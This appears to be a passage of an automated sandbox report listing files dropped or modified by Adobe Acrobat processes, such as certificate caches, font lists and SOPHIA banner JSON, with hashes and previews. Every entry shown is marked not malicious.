Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklsb0bPtfllXlE/HT8k07NNX8RolJuRdxLlGB9lQRYwpDdt:kK1IbPeT87NMa8RdWBwRd
MD5:	D927C8FCB3F1A209C80296015837B877
SHA1:	9A0D1CB81AD9DFA90D9A9C002017885523579D1D
SHA-256:	6D79CF68A0CD7ED6BB7E5E58DBC9E1CA435CD232535C5FB6F875D5E01ED0B577
SHA-512:	F593557919FDE892370DF812551F46AD501892A07ADEDD665771366F83CDFB3EAB6BC05974F76C3977F337603CFFB0F5CE5524399F59FE9A1A08B5BEAEC2C367
Malicious:	false
Preview:	p...... .........G...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kK9/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:tiDImsLNkPlE99SNxAhUe/3
MD5:	210D5950F83CAF08087A390DD5C74E92
SHA1:	673C282BD13FF81DB431687579EADC269686DC08
SHA-256:	85E3F6BF08A3EB09F19629C09CEF706242B6CB7E8AFAE51FEA0504E738F1ADD3
SHA-512:	D733F7D6BB76E07EF81DF81E6B66A4C938E6E3A2CFBC486857CAD4B1A9E26182CA69AC8BD754BD63E1F018D6BB47475D92A2FB35F46730FD9FD2124B7DFE6985
Malicious:	false
Preview:	p...... .........H...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5616

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5616

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.313417834916982
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJM3g98kUwPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5GMbLUk3
MD5:	3BFAC1145DECAC1A1A9EF018CFD9366E
SHA1:	09794FAB0E050359D465B4838CA719EDA97E437A
SHA-256:	1A66660F177A9923832A464A7D5B4BA56F08E5FD42AA64359978601D0E2A042C
SHA-512:	A50180685173506AAC794AC0B74B71A02FC2697925B9B7A83F67D1E5BD925E70F0C1634AA10F8B6E415AA94FDBE3306C7754B34A88DCE6280F3F4CDDD57A08C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.245297145178457
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJfBoTfXpnrPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5GWTfXcZ
MD5:	259EE275C63B0BC8380F34A7083CC53F
SHA1:	71A9A2CB5863AD045841B6179EBCC9D7E8599D8A
SHA-256:	14A3DF65D2837056DEA7EC93EAF44A1A88BF36BA004CD89192CC11B0227D3B6B
SHA-512:	9B93250B0371D445598F64B1922371D50FCED105CBDECE710CAB8B8E26DC130787DC3D20C9722D865894FF69369B2B1D63610A0B21CC707F2A05EF649226C2BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.223967207602681
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJfBD2G6UpnrPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5GR22cUU
MD5:	3D2331CDAD3B57F62EDCB177C25B4CEC
SHA1:	98A68089484800A637CA63E80B67F861CFAA5015
SHA-256:	8240D49B60C637A5E85908929B0D64689AAA516FD76A356A2EEAB81E2079BB22
SHA-512:	464A1526E290E9A7AE77DB11596F6B35A7D24A66159D2FB6A6115F76FF43FF6755E5B66AD766FB9AF757D78DC35ABAF6E43B31B8BF92B48804474D2BC2971546
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.288613905974552
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJfPmwrPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5GH56Uk3
MD5:	0BEFB4FA0A8B7A5D65E7D99D4A73F368
SHA1:	2EF7E4862EDCDA282A87F9D5A805884FA8C69BFE
SHA-256:	360454A2B4954ACE01EF52CA1023CD4AD70256C787F3A45D101A63E8EC759BC7
SHA-512:	86FF831D2D337F85C673954BC03656EC04A47268925062F7D4035F3F6DEEA263F4AF43F8258B8FA23BDBB2B90D62908518064A1A7D794E45CF77D79182876AED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684402801521274
Encrypted:	false
SSDEEP:	24:Yv6Xz/gs2JhQmpLgE9cQx8LennAvzBvkn0RCmK8czOCCSh:Yv2/SJhQmhgy6SAFv5Ah8cv/h
MD5:	64026C0359D135B057F0DF5F721DB4D7
SHA1:	0B184699DDF509272C9DAC8CA02FAAEF54315B62
SHA-256:	9C128EA8C2E9CE20E1E8182B90312CAADD52FC195C019D56F7DB347A3C7975EE
SHA-512:	025C8186534AE01C2137E1C53D44B8DB8B728FB954C687A37135613757EF0038CE0446F81025CC619E415C24FDE7B600CBF377CF3464A381F722129006FE70E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.23438985677411
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJf8dPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5GU8Uke6
MD5:	03BB58A9EAD95D9C908AE5D89D30BF64
SHA1:	1A832E73115C5D3A3C9689C02835884DCA627272
SHA-256:	AF4B3E3809FEBDD64C1941014C0DFEE9CCE70D3EC9F3E44009599CE2A2A6BC06
SHA-512:	4720BDE06DEFDBCDEB0766867B8A793B2A7C493316AF9C6F049368E84B9507B82BBDDB3B828238A6FA699BC9EDE778A7B13A0F615172B1849D1DC9246804D593
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.232917316157444
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJfQ1rPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5GY16Uk3
MD5:	FC074FC2BED74BB3E2B994CF320129DD
SHA1:	86446D720BE2D4A48343C1A186EFA154A81D1E44
SHA-256:	42E2A3831F6242B9D8EF36CAB468CC73766085DCC6F68916F28437406EA7C931
SHA-512:	F6548BABC4B7C00412791B5A33F72AE239047F3CCBE0CD01F03822CC859E449D7CEF3A07ABBC14390BBA3A5D8CD09CA56C08AB4D2855F60D0C376714DE4C28F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.249311880732052
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJfFldPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5Gz8Uke6
MD5:	B9980DFDC1D5F3F8C231D5E80B219CBB
SHA1:	E5CF1B60B4A0C18DA10682139CD7BCFEFAE04812
SHA-256:	1D0C55599609C4A83DCA892FFEBB17F1BF08A3A231442DBFBD8751A424788957
SHA-512:	5194E497EC117F8142974317B1639B61B0BE2475A0BDD16C47CCB66FBA85485EE6DB5E9A8AA866AF244754F3C0B6D253FC8F6FF2D2D96BFCCA050FA1EE47BC94
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.263659810697149
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJfzdPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5Gb8Uke6
MD5:	DA117739ED735B517A64DA50E25EB393
SHA1:	D1D020C1A1F0D8CBED305BC46FD3187362A66E53
SHA-256:	42078D40B83C89685962AE54AD2E2289B9E9D42130BC46DE9A5DCD80DB1EA001
SHA-512:	8FE964F0C5769E09950C6D12CE60AD39147A90BA2AC203C0FD9CE60C777CA3B0AA7314C47AF34B0D9EBA62927FD2EDC0A43836740446E75A37B74F8D8F0AC8D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.24314707298181
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJfYdPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5Gg8Uke6
MD5:	C890F289D61CC85E10085C97407DA05F
SHA1:	CE4A1D1AF26B0B889D48722D15C91404DD9264A4
SHA-256:	2DE25245C9228E44B03E63803EEB10BAB1EFC8A2BF15AF67666D02AA7E470E8D
SHA-512:	D5779F79F22D87672A214ACA04ADEFE3CEA9EC5FF63B7B2D6EFB4A7F057B411B5B0F9E62473ED879C23DB24D6B2A64CFFE4529B654554144A07233979EA7CB0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.229045354980643
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJf+dPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5G28Uke6
MD5:	CC19FD3F42ADFD9D62F973AD767B278F
SHA1:	EBAAC3BDCEC4173074ED04A9782871B224CADC67
SHA-256:	0D3DFF6E1806BB53D25B7C8BA898512772A53314DDA321F5D86492F2C275B90B
SHA-512:	6257AC355554A3884BDC1A800BB5834B2BE17E0F94D76B2156BD5B05FA7A16470832764D9AEBA7D302197D78F9B9F5DCE8DB55853A4C42D67280188C6109C003
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

